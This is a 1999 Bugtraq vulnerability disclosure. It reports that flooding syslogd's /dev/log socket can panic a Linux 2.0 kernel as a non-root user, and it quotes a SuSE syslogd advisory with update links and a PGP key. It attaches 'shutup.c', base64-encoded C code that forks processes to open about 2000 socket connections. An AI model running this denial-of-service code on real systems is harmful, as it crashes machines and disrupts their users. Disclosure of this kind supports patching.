local users can panic linux kernel (was: SuSE syslogd advisory)
Date: Fri, 19 Nov 1999 03:59:00 +0100
From: Mixter <mixter@NEWYORKOFFICE.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: local users can panic linux kernel (was: SuSE syslogd advisory)
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--8323328-1191000251-942980340=:349
Content-Type: TEXT/PLAIN; charset=US-ASCII
The impact of the syslogd Denial Of Service vulnerability seems to
be bigger than expected. I found that syslog could not be stopped from
responding by one or a few connections, since it uses select() calls
to synchronously manage the connections to /dev/log. I made an attempt
with the attached test code, which makes about 2000 connects to syslog,
using multiple processes, and my system instantly died with the message:
'Kernel panic: can't push onto full stack'
I've been able to reproduce this as non-root user, although it had to
be done two times to overcome the stronger user resource limits, but
it worked. This has been tested with linux 2.0.38+syslog1.3 (redhat 5.2).
As a temporary fix, I'd strongly advise everyone who hasn't to set proper
user resource limits, but that is only a very temporary fix.
Taking a guess, I would say that the panic is caused by instability of
the linux select() implementation, and could therefore be abused in other
programs that manage an unlimited amount of connections using the select
syscall.
Mixter
________________________
mixter@newyorkoffice.com
members.tripod.com/mixtersecurity
On Thu, 18 Nov 1999, Thomas Biege wrote:
> _____________________________________________________________________________
>
> SuSE Security Announcement - syslogd (a1)
>
> Package: syslogd-1.3.33 (a1)
> Date: Thu Nov 18 14:00:29 CET 1999
>
> Affected SuSE versions: 6.2 and 6.3
> Vulnerability Type: local denial-of-service attack
> SuSE default package: yes
> Other affected systems: all Linux systems using the syslog daemon
> ______________________________________________________________________________
>
> A security hole was discovered in the package mentioned above.
> Please update as soon as possible or disable the service if you are using
> this software on your SuSE Linux installation(s).
>
> Other Linux distributions or operating systems might be affected as
> well, please contact your vendor for information about this issue.
>
> Please note, that that we provide this information on an "as-is" basis only.
> There is no warranty whatsoever and no liability for any direct, indirect or
> incidental damage arising from this information or the installation of
> the update package.
> _____________________________________________________________________________
>
> 1. Problem Description
>
> The syslogd server uses a Unix Domain stream socket (/dev/log) for receiving
> local log messages via syslog(3).
> Unix Domain stream sockets are non connection-less, that means, that
> one process is needed to serve one client.
>
> 2. Impact
>
> By opening alot of local syslog connections a user could stop the
> system from responding.
>
> 3. Solution
>
> Updated the package from our FTP server.
> ______________________________________________________________________________
>
> Please verify these md5 checksums of the updates before installing:
>
> c9a9e0f8fc4e29daf30f8a735ae333ab syslogd-1.3.33-9.alpha.rpm (AXP, 6.1)
> 3104e26a8b474e215ed703b7c4d48888 syslogd-1.3.33-9.i386.rpm (x86, 5.3)
> a13be12a75232f2f62f51fb1cae26fc0 syslogd-1.3.33-9.i386.rpm (x86, 6.1)
> fc29df9455288f40eb1e8dbd0f47d5b3 syslogd-1.3.33-9.i386.rpm (x86, 6.2)
> 869b7fedd5b52807f12b7f66e282002c syslogd-1.3.33-9.i386.rpm (x86, 6.3)
> ______________________________________________________________________________
>
> You can find updates on our ftp-Server:
>
> ftp://ftp.suse.com/pub/suse/axp/update/6.1/a1/syslogd-1.3.33-9.alpha.rpm
> ftp://ftp.suse.com/pub/suse/i386/update/5.3/a1/syslogd-1.3.33-9.i386.rpm
> ftp://ftp.suse.com/pub/suse/i386/update/6.1/a1/syslogd-1.3.33-9.i386.rpm
> ftp://ftp.suse.com/pub/suse/i386/update/6.2/a1/syslogd-1.3.33-9.i386.rpm
> ftp://ftp.suse.com/pub/suse/i386/update/6.3/a1/syslogd-1.3.33-9.i386.rpm
>
> or try the following web pages for a list of mirrors:
> http://www.suse.de/de/support/download/ftp/inland.html
> http://www.suse.de/de/support/download/ftp/ausland.html
>
> Our webpage for patches:
> http://www.suse.de/de/support/download/updates/index.html
>
> Our webpage for security announcements:
> http://www.suse.de/de/support/security/index.html
>
> If you want to report vulnerabilities, please contact
> security@suse.de
> ______________________________________________________________________________
>
> SuSE has got two free security mailing list services to which any
> interested party may subscribe:
>
> suse-security@suse.com - moderated and for general/linux/SuSE
> security discussions. All SuSE security
> announcements are send to this list.
>
> suse-security-announce@suse.com - SuSE's announce-only mailing list.
> Only SuSE's security annoucements are sent
> to this list.
>
> To subscribe to the list, send a message to:
> <suse-security-subscribe@suse.com>
>
> To remove your address from the list, send a message to:
> <suse-security-unsubscribe@suse.com>
>
> Send mail to the following for info and FAQ for this list:
> <suse-security-info@suse.com>
> <suse-security-faq@suse.com>
>
> _____________________________________________________________________________
>
> This information is provided freely to everyone interested and may
> be redistributed provided that it is not altered in any way.
>
> Type Bits/KeyID Date User ID
> pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security@suse.de>
>
> ------BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.3i
>
> mQENAzbhLQQAAAEIAKAkXHe0lWRBXLpn38hMHy03F0I4Sszmoc8aaKJrhfhyMlOA
> BqvklPLE2f9UrI4Xc860gH79ZREwAgPt0pi6+SleNFLNcNFAuuHMLQOOsaMFatbz
> JR9i4m/lf6q929YROu5zB48rBAlcfTm+IBbijaEdnqpwGib45wE/Cfy6FAttBHQh
> 1Kp+r/jPbf1mYAvljUfHKuvbg8t2EIQz/5yGp+n5trn9pElfQO2cRBq8LFpf1l+U
> P7EKjFmlOq+Gs/fF98/dP3DfniSd78LQPq5vp8RL8nr/o2i7jkAQ33m4f1wOBWd+
> cZovrKXYlXiR+Bf7m2hpZo+/sAzhd7LmAD0l09kABRG0JVN1U0UgU2VjdXJpdHkg
> VGVhbSA8c2VjdXJpdHlAc3VzZS5kZT6JARUDBRA24S1H5Fiyh7HKPEUBAVcOB/9b
> yHYji1/+4Xc2GhvXK0FSJN0MGgeXgW47yxDL7gmR4mNgjlIOUHZj0PEpVjWepOJ7
> tQS3L9oP6cpj1Fj/XxuLbkp5VCQ61hpt54coQAvYrnT9rtWEGN+xmwejT1WmYmDJ
> xG+EGBXKr+XP69oIUl1E2JO3rXeklulgjqRKos4cdXKgyjWZ7CP9V9daRXDtje63
> Om8gwSdU/nCvhdRIWp/Vwbf7Ia8iZr9OJ5YuQl0DBG4qmGDDrvImgPAFkYFzwlqo
> choXFQ9y0YVCV41DnR+GYhwl2qBd81T8aXhihEGPIgaw3g8gd8B5o6mPVgl+nJqI
> BkEYGBusiag2pS6qwznZiQEVAwUQNuEtBHey5gA9JdPZAQFtOAf+KVh939b0J94u
> v/kpg4xs1LthlhquhbHcKNoVTNspugiC3qMPyvSX4XcBr2PC0cVkS4Z9PY9iCfT+
> x9WM96g39dAF+le2CCx7XISk9XXJ4ApEy5g4AuK7NYgAJd39PPbERgWnxjxir9g0
> Ix30dS30bW39D+3NPU5Ho9TD/B7UDFvYT5AWHl3MGwo3a1RhTs6sfgL7yQ3U+mvq
> MkTExZb5mfN1FeaYKMopoI4VpzNVeGxQWIz67VjJHVyUlF20ekOz4kWVgsxkc8G2
> saqZd6yv2EwqYTi8BDAduweP33KrQc4KDDommQNDOXxaKOeCoESIdM4p7Esdjq1o
> L0oixF12Cg==
> =pIeS
> ------END PGP PUBLIC KEY BLOCK-----
> Signature by unknown keyid: 0x3D25D3D9
>
--8323328-1191000251-942980340=:349
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="shutup.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.04.9911190359000.349@aviation.net>
Content-Description:
Content-Disposition: attachment; filename="shutup.c"
LyoNCiAqDQogKiBzaHV0dXAgLSBzeXNsb2dkIDEuMyBkZW5pYWwgb2Ygc2Vy
dmljZQ0KICogYnkgTWl4dGVyIDxtaXh0ZXJAbmV3eW9ya29mZmljZS5jb20+
DQogKg0KICogVGhpcyBvcGVucyB1cCB0byAyMDAwIHVuaXggZG9tYWluIHNv
Y2tldCBjb25uZWN0aW9ucw0KICogdG8gL2Rldi9sb2csIGF0dGVtcHRpbmcg
dG8gc3RvcCBzeXNsb2cgZnJvbSByZXNwb25kaW5nLg0KICogV0FSTklORzog
VGhpcyBhcHBhcmVudGx5IGNhdXNlcyB0aGUga2VybmVsIHRvIHBhbmljIQ0K
ICogWW91IG1pZ2h0IGhhdmUgdG8gcnVuIHRoaXMgMiB0aW1lcyB0byByZXBy
b2R1Y2UgaXQgYXMgbm9uLXJvb3QuDQogKiBUaGlzIGNvZGUgaXMgZm9yIGVk
dWNhdGlvbmFsIHB1cnBvc2VzIG9ubHksIGRvIG5vdCBhYnVzZS4NCiAqDQog
Ki8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+
DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tl
dC5oPg0KI2luY2x1ZGUgPHN5cy91bi5oPg0KDQojZGVmaW5lIFBBVEgJIi9k
ZXYvbG9nIg0KI2RlZmluZSBTSFVUVVBTCTIwMA0KI2RlZmluZSBQUk9DUwkx
MA0KDQppbnQNCm1haW4gKHZvaWQpDQp7DQogIGludCBzLCBpOw0KICBzdHJ1
Y3Qgc29ja2FkZHJfdW4gc3VuOw0KICBjaGFyIGhvc3RbMTI4XTsNCg0KICBz
dW4uc3VuX2ZhbWlseSA9IEFGX1VOSVg7DQogIHN0cm5jcHkgKHN1bi5zdW5f
cGF0aCwgUEFUSCwgMTAwKTsNCiAgZ2V0aG9zdG5hbWUgKGhvc3QsIDEyOCk7
DQoNCiAgcHJpbnRmICgic2h1dHVwIC0gc3lzbG9nMS4zIERvUyAoYykgTWl4
dGVyIC0gaHR0cDovLzEzMzcudHN4Lm9yZ1xuIik7DQogIHByaW50ZiAoInN5
c2xvZyBvbiAlcyBpcyBub3cgYmVpbmcgb3ZlcmxvYWRlZC4uLlxuIiwgaG9z
dCk7DQoNCiAgaWYgKGZvcmsgKCkpDQogICAgZXhpdCAoMCk7DQoNCiAgZm9y
IChpID0gMDsgaSA8IFBST0NTOyBpKyspDQogICAgaWYgKGZvcmsgKCkgPT0g
MCkNCiAgICAgIGJyZWFrOw0KDQogIGZvciAoaSA9IDA7IGkgPCBTSFVUVVBT
OyBpKyspDQogICAgew0KICAgICAgaWYgKChzID0gc29ja2V0IChBRl9VTklY
LCBTT0NLX1NUUkVBTSwgMCkpIDwgMCkNCgl7DQoJICBwZXJyb3IgKCJzb2Nr
ZXQiKTsNCgkgIHdoaWxlICgxKTsNCgl9DQoNCiAgICAgIGlmIChjb25uZWN0
IChzLCAoc3RydWN0IHNvY2thZGRyICopICZzdW4sIHNpemVvZiAoc3RydWN0
IHNvY2thZGRyKSkgPCAwKQ0KCXsNCgkgIHBlcnJvciAoImNvbm5lY3QiKTsN
CgkgIGNsb3NlIChzKTsNCgkgIGktLTsNCgl9DQogICAgfQ0KDQogIHdoaWxl
ICgxKTsNCn0NCg==
--8323328-1191000251-942980340=:349--
